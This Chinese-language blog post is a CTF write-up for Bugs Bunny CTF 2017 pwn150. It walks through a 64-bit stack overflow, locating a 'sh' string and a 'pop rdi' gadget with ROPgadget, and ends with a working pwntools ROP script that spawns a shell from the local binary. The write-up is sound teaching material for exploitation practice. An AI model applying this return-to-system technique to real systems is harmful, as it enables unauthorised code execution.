ROP-bugs bunny ctf 2017-pwn150

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3   today();
4   return Hello();
5 }

打开IDA,发现main中调用了两个函数。

1 int today()
2 {
3   return system("/bin/date");
4 }

在today中,调用了system函数。

 1 signed __int64 Hello()
 2 {
 3   signed __int64 result; // rax
 4   char s; // [rsp+0h] [rbp-50h]
 5   FILE *v2; // [rsp+48h] [rbp-8h]
 6 
 7   printf("Hello pwner, Send me your message here: ");
 8   fflush(stdout);
 9   fgets(&s, 0xC0, stdin);
10   v2 = fopen("bugsbunny.txt", "a");
11   if ( v2 )
12   {
13     fwrite(&s, 0x40uLL, 1uLL, v2);
14     result = 0LL;
15   }
16   else
17   {
18     puts("So shorry cant talk to you now :( ");
19     result = 1LL;
20   }
21   return result;
22 }

fgets函数虽然限制了最大的接收数据长度,但是因为s的地址距离RIP小于C0,所以存在栈溢出漏洞。

通过以上观察,知道程序存在栈溢出漏洞并且有system,所以可以利用栈溢出来ret到system来打开shell。问题是在today函数中,传递给system的参数并不是/bin/sh。那么就只能来自己构造了。

首先我想到的是,也许可以把程序中自带的“/bin/date”给修改成“/bin/sh”,然后再转回到today函数,就可以拿到shell了。

 

 

 

 

 

但是通过IDA和gdb观察后发现,存放bin/date的内存区域并没有W写入权限,于是这样做是不可行的。

 

 既然修改bin/date不行,那么就得找一块内存去写入了,但是观察后发现,并没有适合的地方。

后来看了WP,明白了原来直接通过sh也可以直接打开shell,在这个程序中就恰好存在sh。

如何找到程序中的这个sh呢,总不能用眼一个个找吧。这里可以用IDA中的shift+f12来搜索,我觉着不好用。也可以用winhex之类的二进制查看器来搜索,不过搜索出来得自己再转换地址和筛选比较麻烦,也不好。

在这篇博客中有多种方式搜索pwn程序中的字符串,可以参考这篇博客------https://blog.csdn.net/weixin_43921239/article/details/105318835

ROPgadget --binary pwn150 --string 'sh'

 

 在这里我感觉用ROPgadget是最方便快捷的。

到了这里,找到了system打开shell所必须的sh参数变量。然后就要把它传入到system里了。

 

 我们可以看一下正常调用system时,是怎样把参数传递到system里的。和32位程序不同的是,它是把参数放在了rdi寄存器里。所以在覆盖RIP转到system之前,我们需要改变rdi里的值为我们上面找到的sh的地址。

这里就要用到语句pop rdi了,它可以把栈上的数据弹到rdi里。

ROPgadget --binary pwn150 | grep 'pop rdi'

 

 这里再次运用ROPgadget,来找到这个指令的地址。

到这里,就能够写出payload了。

payload=pading+pop地址+sh地址+system地址

最后,我们需要确定pading填充字节的数量为多少,因为我们知道IDA中显示的s与ebp的距离并不总是准确的,因此需要以动态调试为主。

 

 有意思的是,当在进行动态调试的时候,会卡在today函数中,无法再进行下面的调试。

原因是,today中的system()会调用一个子进程,而gdb默认会跟踪子进程。想要继续调试,必须得把gdb调成跟踪父进程。

1 show follow-fork-mode
2 set follow-fork-mode parent

 

 

 

 发现程序可以正常调试了。

经过调试发现要填充的字节为88,过程就不赘述了。

 1 #coding:utf-8
 2 from pwn import *
 3 io=process('./pwn150')
 4 pading=b'A'*(0x50+8)
 5 pos_system=p64(0x40075F)
 6 pos_sh=p64(0x4003ef)
 7 pos_poprdi=p64(0x400883)
 8 payload=pading+pos_poprdi+pos_sh+pos_system
 9 
10 io.sendline(payload)
11 io.interactive()

 

 最终写出脚本。

这里还有一个问题就是,这里的pos_system选择的是在text段的call地址。但是换成在plt段的system就不行了。按理来说是可以的才对。我搜索了几个老外的写的WP,发现他们有的就是用的这里plt中的地址,但是我完全复制黏贴他们的代码,自己跑的时候却也不行。也许是python版本的事吧。

posted @ 2020-12-18 10:44  大金刚仔  阅读(127)  评论(0编辑  收藏  举报